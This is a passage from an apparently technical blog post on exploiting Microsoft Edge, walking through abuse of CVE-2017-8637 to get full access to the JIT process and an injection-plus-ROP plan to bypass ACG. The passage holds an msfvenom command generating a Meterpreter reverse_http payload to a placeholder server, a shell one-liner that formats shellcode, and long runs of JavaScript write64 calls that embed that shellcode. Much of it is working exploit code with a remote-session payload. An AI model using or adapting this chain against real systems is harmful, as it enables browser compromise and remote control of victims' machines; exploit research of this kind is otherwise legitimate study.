	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">&amp;</span><span class="n">fulljitHandle</span><span class="p">,</span>		<span class="c1">// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// Ignored since we later specify DUPLICATE_SAME_ACCESS</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// FALSE (handle can't be inherited)</span>
	<span class="n">DUPLICATE_SAME_ACCESS</span>	<span class="c1">// Create handle with same permissions as source handle (source handle = GetCurrentProcessHandle() so PROCESS_ALL_ACCESS permissions)</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Let’s talk about where these parameters came from.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">hSourceProcessHandle</code> - “A handle to the process with the handle to be duplicated. The handle must have the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> access right.”
    <ul>
      <li>The value we are passing here is <code class="language-plaintext highlighter-rouge">jitHandle</code> (which represents our <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to the JIT server). As the parameter description says, we pass in the handle to the process where the “handle we want to duplicate exists”. Since we are passing in the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to the JIT server, this essentially tells <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> that the handle we want to duplicate exists somewhere within this process (the JIT process).</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">hSourceHandle</code> - “The handle to be duplicated. This is an open object handle that is valid in the context of the source process.”
    <ul>
      <li>We supply a value of <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> here. What this means is that we are asking <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to duplicate a pseudo handle to the current process. In other words, we are asking <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to duplicate us a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle. However, since we have passed in the JIT server as the <code class="language-plaintext highlighter-rouge">hSourceProcessHandle</code> parameter we are instead asking <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to “duplicate us a pseudo handle for the current process”, but we have told <code class="language-plaintext highlighter-rouge">DuplicateHandl</code> that our “current process” is the JIT process as we have changed our “process context” by telling <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to perform this operation in context of the JIT process. Normally <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> would return us a handle to the process in which the function call occurred in (which, in our exploit, will obviously happen within a ROP chain in the content process). However, we use the “trick” up our sleeve, which is the leaked handle to the JIT server we have stored in the content process. When we supply this handle, we “trick” <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> into essentially duplicating a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle within the JIT process instead.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code> - “A handle to the process that is to receive the duplicated handle. The handle must have the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> access right.”
    <ul>
      <li>We supply a value of <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> here. This makes sense, as we want to receive the full handle to the JIT server within the content process. Our exploit is executing within the content process so we tell <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> that the process we want to receive this handle in context of is the current, or content process. This will allow the content process to use it later.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">lpTargetHandle</code> - “A pointer to a variable that receives the duplicate handle. This handle value is valid in the context of the target process. If <code class="language-plaintext highlighter-rouge">hSourceHandle</code> is a pseudo handle returned by <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> or <code class="language-plaintext highlighter-rouge">GetCurrentThread</code>, <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> converts it to a real handle to a process or thread, respectively.”
    <ul>
      <li>This is the most important part. Not only is this the variable that will receive our handle (<code class="language-plaintext highlighter-rouge">fulljitHandle</code> just represents a memory address where we want to store this handle. In our exploit we will just find an empty <code class="language-plaintext highlighter-rouge">.data</code> address to store it in), but the second part of the parameter description is equally as important. We know that for <code class="language-plaintext highlighter-rouge">hSourceHandle</code> we supplied a pseudo handle via <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code>. This description essentially says that <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> will convert this pseudo handle in <code class="language-plaintext highlighter-rouge">hSourceHandle</code> into a <em>real</em> handle when the function completes. As we mentioned, we are using a “trick” with our <code class="language-plaintext highlighter-rouge">hSourceProcessHandle</code> being the JIT server and our <code class="language-plaintext highlighter-rouge">hSourceHandle</code> being a pseudo handle. We, as mentioned, are telling Edge to search within the JIT process for a pseudo handle “to the current process”, which is the JIT process. However, a pseudo handle would really only be usable in context of the process where it was being obtained from. So, for instance, if we obtained a pseudo handle to the JIT process it would <em>only</em> be usable within the JIT process. This isn’t ideal, because our exploit is within the content process and any handle that is only usable within the JIT process itself is useless to us. However, since <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> will convert the pseudo handle to a <em>real</em> handle, this <em>real</em> handle is usable by other processes. This essentially means our call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> will provide us with an <em>actual</em> handle with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> to the JIT server from another process (from the content process in our case).</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">dwDesiredAccess</code> - “The access requested for the new handle. For the flags that can be specified for each object type, see the following Remarks section. This parameter is ignored if the <code class="language-plaintext highlighter-rouge">dwOptions</code> parameter specifies the <code class="language-plaintext highlighter-rouge">DUPLICATE_SAME_ACCESS</code> flag…”
    <ul>
      <li>We will be supplying the <code class="language-plaintext highlighter-rouge">DUPLICATE_SAME_ACCESS</code> flag later, meaning we can set this to <code class="language-plaintext highlighter-rouge">0</code>.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">bInheritHandle</code> - “A variable that indicates whether the handle is inheritable. If TRUE, the duplicate handle can be inherited by new processes created by the target process. If FALSE, the new handle cannot be inherited.”
    <ul>
      <li>Here we set the value to FALSE. We don’t want to/nor do we care if this handle is inheritable.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">dwOptions</code> - “Optional actions. This parameter can be zero, or any combination of the following values.”
    <ul>
      <li>Here we provide <code class="language-plaintext highlighter-rouge">2</code>, or <code class="language-plaintext highlighter-rouge">DUPLICATE_SAME_ACCESS</code>. This instructs <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> that we want our duplicate handle to have the same permissions as the handle provided by the source. Since we provided a pseudo handle as the source, which has <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code>, our final duplicated handle <code class="language-plaintext highlighter-rouge">fulljitHandle</code> will have a <em>real</em> <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT server which can be used by the content process.</li>
    </ul>
  </li>
</ol>

<p>If this all sounds confusing, take a few moments to keep reading the above. Additionally, here is a summation of what I said:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">DuplicateHandle</code> let’s you decide in what process the handle you want to duplicate exists. We tell <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> that we want to duplicate a handle within the JIT process, using the low-permission <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle we have leaked from <code class="language-plaintext highlighter-rouge">s_jitManager</code>.</li>
  <li>We then tell <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> the handle we want to duplicate within the JIT server is a <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> pseudo handle. This handle has <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code></li>
  <li>Although <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> returns a handle only usable by the process which called it, <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> will perform a conversion under the hood to convert this to an <em>actual</em> handle which other processes can use</li>
  <li>Lastly, we tell <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> we want a real handle to the JIT server, which we can use from the content process, with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> permissions via the <code class="language-plaintext highlighter-rouge">DUPLICATE_SAME_ACCESS</code> flag which will tell <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to duplicate the handle with the same permissions as the pseudo handle (which is <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code>).</li>
</ol>

<p>Again, just keep re-reading over this and thinking about it logically. If you still have questions, feel free to email me. It can get confusing pretty quickly (at least to me).</p>

<p>Now that we are armed with the above information, it is time to start outline our exploitation plan.</p>

<h2 id="exploitation-plan-20">Exploitation Plan 2.0</h2>
<p>Let’s briefly take a second to rehash where we are at:</p>

<ol>
  <li>We have an ASLR bypass and we know the layout of memory</li>
  <li>We can read/write anywhere in memory as much or as little as we want</li>
  <li>We can direct program execution to wherever we want in memory</li>
  <li>We know where the stack is and can force Edge to start executing our ROP chain</li>
</ol>

<p>However, we know the pesky mitigations of ACG, CIG, and “no child processes” are still in our way. We can’t just execute our payload because we can’t make our payload as executable. So, with that said, the first option one could take is using a pure data-only attack. We could programmatically, via ROP, build out a reverse shell. This is very cumbersome and could take thousands of ROP gadgets. Although this is <em>always</em> a viable alternative, we want to detonate actual shellcode somehow. So, the approach we will take is as follows:</p>

<ol>
  <li>Abuse CVE-2017-8637 to obtain a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT process</li>
  <li>ACG is disabled within the JIT process. Use our ability to execute a ROP chain in the content process to write our payload to the JIT process</li>
  <li>Execute our payload within the JIT process to obtain shellcode execution (essentially perform process injection to inject a payload to the JIT process where ACG is disabled)</li>
</ol>

<p>To break down how we will actually accomplish step 2 in even greater detail, let’s first outline some stipulations about processes protected by ACG. We know that the content process (where our exploit will execute) is protected by ACG. We know that the JIT server is <em>not</em> protected by ACG. We already know that a process not protected by ACG is allowed to inject into a process that is protected by ACG. We clearly see this with the out-of-process JIT architecture of Edge. The JIT server (not protected by ACG) injects code into the content process (protected by ACG) - this is expected behavior. However, what about a injection from a process that <em>is</em> protected by ACG into a process that is <em>not</em> protected by ACG (e.g. injection from the content process into the JIT process, which we are attempting to do)?</p>

<p>This is actually prohibited (with a slight caveat). A process that is protected by ACG is not allowed to directly inject RWX memory and execute it within a process not protected by ACG. This makes sense, as this stipulation “protects” against an attacker compromising the JIT process (ACG disabled) from the content process (ACG enabled). However, we mentioned the stipulation is only that we cannot <em>directly</em> embed our shellcode as RWX memory and directly execute it via a process injection call stack like <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> (allocate RWX memory within the JIT process) -&gt; <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> -&gt; <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> (execute the RWX memory in the JIT process). However, there is a way we can bypass this stipulation.</p>

<p>Instead of directly allocating RWX memory within the JIT process (from the content process) we could instead just write a ROP chain into the JIT process. This doesn’t require RWX memory, and only requires RW memory. Then, if we could somehow hijack control-flow of the JIT process, we could have the JIT process execute our ROP chain. Since ACG is disabled in the JIT process, our ROP chain could mark our shellcode as RWX instead of directly doing it via <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>! Essentially, our ROP chain would just be a “traditional” one used to bypass DEP in the JIT process. This would allow us to bypass ACG! This is how our exploit chain would look:</p>

<ol>
  <li>Abuse CVE-2017-8637 to obtain a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT process (this allows us to invoke memory operations on the JIT server from the content process)</li>
  <li>Allocate memory within the JIT process via <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> and the above handle</li>
  <li>Write our final shellcode (a reflective DLL from Meterpreter) into the allocation (our shellcode is now in the JIT process as RW)</li>
  <li>Create a thread within the JIT process via <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, but create this thread as <em>suspended</em> so it doesn’t execute and have the start/entry point of our thread be a <code class="language-plaintext highlighter-rouge">ret</code> ROP gadget</li>
  <li>Dump the <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure of the thread we just created (and now control) in the JIT process via <code class="language-plaintext highlighter-rouge">GetThreadContext</code> to retrieve its stack pointer (RSP)</li>
  <li>Use <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write the “final” ROP chain into the JIT process by leveraging the leaked stack pointer (RSP) of the thread we control in the JIT process from our call to <code class="language-plaintext highlighter-rouge">GetThreadContext</code>. Since we know where the stack is for our thread we created, from <code class="language-plaintext highlighter-rouge">GetThreadContext</code>, we can directly write a ROP chain to it with <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> and our handle to the JIT server. This ROP chain will mark our shellcode, which we already injected into the JIT process, as RWX (this ROP chain will work just like any traditional ROP chain that calls <code class="language-plaintext highlighter-rouge">VirtualProtect</code>)</li>
  <li>Update the instruction pointer of the thread we control to return into our ROP chains</li>
  <li>Call <code class="language-plaintext highlighter-rouge">ResumeThread</code>. This call will kick off execution of our thread, which has its entry point set to a return routine to start executing off of the stack, where our ROP chain is</li>
  <li>Our ROP chain will mark our shellcode as RWX and will jump to it and execute it</li>
</ol>

<p>Lastly, I want to quickly point out the old <a href="https://web.archive.org/web/20190909204906/https://www.offensive-security.com/documentation/advanced-windows-exploitation.pdf">Advanced Windows Exploitation syllabus</a> from Offensive Security. After reading the steps outlined in this syllabus, I was able to formulate my aforementioned exploitation path off of the ground work laid here. As this blog post continues on, I will explain some of the things I thought would work at first and how the above exploitation path actually came to be. Although the syllabus I read was succinct and concise, I learned as I developing my exploit some additional things Control Flow Guard checks which led to many more ROP chains than I would have liked. As this blog post goes on, I will explain my thought process as to what I <em>thought</em> would work and what <em>actually</em> worked.</p>

<p>If the above steps seem a bit confusing - do not worry. We will dedicate a section to each concept in the rest of the blog post. You have gotten through a wall of text and, if you have made it to this point, you should have a general understanding of what we are trying to accomplish. Let’s now start implementing this into our exploit. We will start with our shellcode.</p>

<h2 id="shellcode">Shellcode</h2>
<p>The first thing we need to decide is what kind of shellcode we want to execute. What we will do is store our shellcode in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> within the content process. This is so we know its location when it comes time to inject it into the JIT process. So, before we begin our ROP chain, we need to load our shellcode into the content process so we can inject it into the JIT process. A typical example of a reverse shell, on Windows, is as follows:</p>

<ol>
  <li>Create an instance of <code class="language-plaintext highlighter-rouge">cmd.exe</code></li>
  <li>Using the socket library of the Windows API to put the I/O for <code class="language-plaintext highlighter-rouge">cmd.exe</code> on a socket, making the <code class="language-plaintext highlighter-rouge">cmd.exe</code> session remotely accessible over a network connection.</li>
</ol>

<p>We can see this within the <a href="https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/single/single_shell_reverse_tcp.asm">Metasploit Framework</a></p>

<p><img src="/images/3typeconfusion59.png" alt="" /></p>

<p>Here is the issue - within Edge, we know there is a “no child processes” mitigation. Since a reverse shell requires spawning an instance of <code class="language-plaintext highlighter-rouge">cmd.exe</code> from the code calling it (our exploit), we can’t just use a normal reverse shell. Another way we could load code into the process space is through a DLL. However, remember that even though ACG is disabled in the JIT process, the JIT process still has Code Integrity Guard (CIG) enabled - meaning we can’t just use our payload to download a DLL to disk and then load it with <code class="language-plaintext highlighter-rouge">LoadLibraryA</code>. However, let’s take a further look at CIG’s documentation. Specifically regarding the <a href="https://www.microsoft.com/en-us/msrc/bounty-mitigation-bypass?rtc=1">Mitigation Bypass and Bounty for Defense Terms</a>. If we scroll down to the “Code integrity mitigations”, we can take a look at what Microsoft deems to be out-of-scope.</p>

<p><img src="/images/3typeconfusion60.png" alt="" /></p>

<p>If the image above is hard to view, open it in a new tab. As we can see Microsoft says that “in-memory injection” is out-of-scope of bypassing CIG. This means Microsoft knows this is an issue that CIG doesn’t address. There is a well-known technique known as <a href="https://github.com/stephenfewer/ReflectiveDLLInjection">reflective DLL injection</a> where an adversary can use pure shellcode (a very large blob of shellcode) in order to load an entire DLL (which is unsigned by Microsoft) in memory, without ever touching disk. Red teamers have beat this concept to death, so I am not going to go in-depth here. Just know that we need to use reflective DLL because we need a payload which doesn’t spawn other processes.</p>

<p>Most command-and-control frameworks, like the one we will use (Meterpreter), use reflective DLL for their post-exploitation capabilities. There are two ways to approach this - staged and stageless. Stageless payloads will be a huge blob of shellcode that not only contain the DLL itself, but a routine that injects that DLL into memory. The other alternative is a staged payload - which will use a small first-stage shellcode which calls out to a command-and-control server to fetch the DLL itself to be injected. For our purposes, we will be using a staged reflective DLL for our shellcode.</p>

<p>To be more simple - we will be using the <code class="language-plaintext highlighter-rouge">windows/meterpreter/x64/reverse_http</code> payload from Metasploit. Essentially you can opt for any shellcode to be injected which doesn’t fork a new process.</p>

<p>The shellcode can be generated as follows: <code class="language-plaintext highlighter-rouge">msfvenom -p windows/x64/meterpreter/reverse_http LHOST=YOUR_SERVER_IP LPORT=443 -f c</code></p>

<p><img src="/images/3typeconfusion61.png" alt="" /></p>

<p><img src="/images/3typeconfusion62.png" alt="" /></p>

<p>What I am about to explain next is (arguably) the most arduous part of this exploit. We know that in our exploit JavaScript limits us to 32-bit boundaries when reading and writing. So, this means we have to write our shellcode 4 bytes at a time. So, in order to do this, we need to divide up our exploit into 4-byte “segments”. I did this manually, but later figured out how to slightly automate getting the shellcode correct.</p>

<p>To “automate” this, we first need to get our shellcode into one contiguous line. Save the shellcode from the <code class="language-plaintext highlighter-rouge">msfvenom</code> output in a file named <code class="language-plaintext highlighter-rouge">shellcode.txt</code>.</p>

<p><img src="/images/3typeconfusion63.png" alt="" /></p>

<p>Once the shellcode is in <code class="language-plaintext highlighter-rouge">shellcode.txt</code>, we can use the following one liner:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">awk</span> <span class="s1">'{printf "%s""",$0}'</span> shellcode.txt | <span class="nb">sed</span> <span class="s1">'s/"//g'</span> | <span class="nb">sed</span> <span class="s1">'s/;//g'</span> | <span class="nb">sed</span> <span class="s1">'s/$/0000/'</span> |  <span class="nb">sed</span> <span class="nt">-re</span> <span class="s1">'s/\\x//g1'</span> | <span class="nb">fold</span> <span class="nt">-w</span> 2 | <span class="nb">tac</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="s1">'s/.\{8\}/&amp; /g'</span> | <span class="nb">awk</span> <span class="s1">'{ for (i=NF; i&gt;1; i--) printf("%s ",$i); print $1; }'</span> | <span class="nb">awk</span> <span class="s1">'{ for(i=1; i&lt;=NF; i+=2) print $i, $(i+1) }'</span> | <span class="nb">sed</span> <span class="s1">'s/ /, /g'</span> | <span class="nb">sed</span> <span class="s1">'s/[^ ]* */0x&amp;/g'</span> | <span class="nb">sed</span> <span class="s1">'s/^/write64(chakraLo+0x74b000+countMe, chakraHigh, /'</span> | <span class="nb">sed</span> <span class="s1">'s/$/);/'</span> | <span class="nb">sed</span> <span class="s1">'s/$/\ninc();/'</span>
</code></pre></div></div>

<p>This will take our shellcode and divide it into four byte segments, remove the <code class="language-plaintext highlighter-rouge">\x</code> characters, get them in little endian format, and put them in a format where they will more easily be ready to be placed into our exploit.</p>

<p><img src="/images/3typeconfusion64.png" alt="" /></p>

<p>Your output should look something like this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe48348fc</span><span class="p">,</span> <span class="mh">0x00cce8f0</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x51410000</span><span class="p">,</span> <span class="mh">0x51525041</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56d23148</span><span class="p">,</span> <span class="mh">0x528b4865</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4860</span><span class="p">,</span> <span class="mh">0x528b4818</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc9314d20</span><span class="p">,</span> <span class="mh">0x50728b48</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4ab70f48</span><span class="p">,</span> <span class="mh">0xc031484a</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x7c613cac</span><span class="p">,</span> <span class="mh">0x41202c02</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x410dc9c1</span><span class="p">,</span> <span class="mh">0xede2c101</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x528b4852</span><span class="p">,</span> <span class="mh">0x8b514120</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01483c42</span><span class="p">,</span> <span class="mh">0x788166d0</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0f020b18</span><span class="p">,</span> <span class="mh">0x00007285</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x88808b00</span><span class="p">,</span> <span class="mh">0x48000000</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x6774c085</span><span class="p">,</span> <span class="mh">0x44d00148</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5020408b</span><span class="p">,</span> <span class="mh">0x4918488b</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56e3d001</span><span class="p">,</span> <span class="mh">0x41c9ff48</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4d88348b</span><span class="p">,</span> <span class="mh">0x0148c931</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc03148d6</span><span class="p">,</span> <span class="mh">0x0dc9c141</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc10141ac</span><span class="p">,</span> <span class="mh">0xf175e038</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x244c034c</span><span class="p">,</span> <span class="mh">0xd1394508</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4458d875</span><span class="p">,</span> <span class="mh">0x4924408b</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4166d001</span><span class="p">,</span> <span class="mh">0x44480c8b</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x491c408b</span><span class="p">,</span> <span class="mh">0x8b41d001</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01488804</span><span class="p">,</span> <span class="mh">0x415841d0</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5a595e58</span><span class="p">,</span> <span class="mh">0x59415841</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x83485a41</span><span class="p">,</span> <span class="mh">0x524120ec</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4158e0ff</span><span class="p">,</span> <span class="mh">0x8b485a59</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff4be912</span><span class="p">,</span> <span class="mh">0x485dffff</span><span class="p">);</span>
<span class="nx">inc</span><span class="p">();</span>
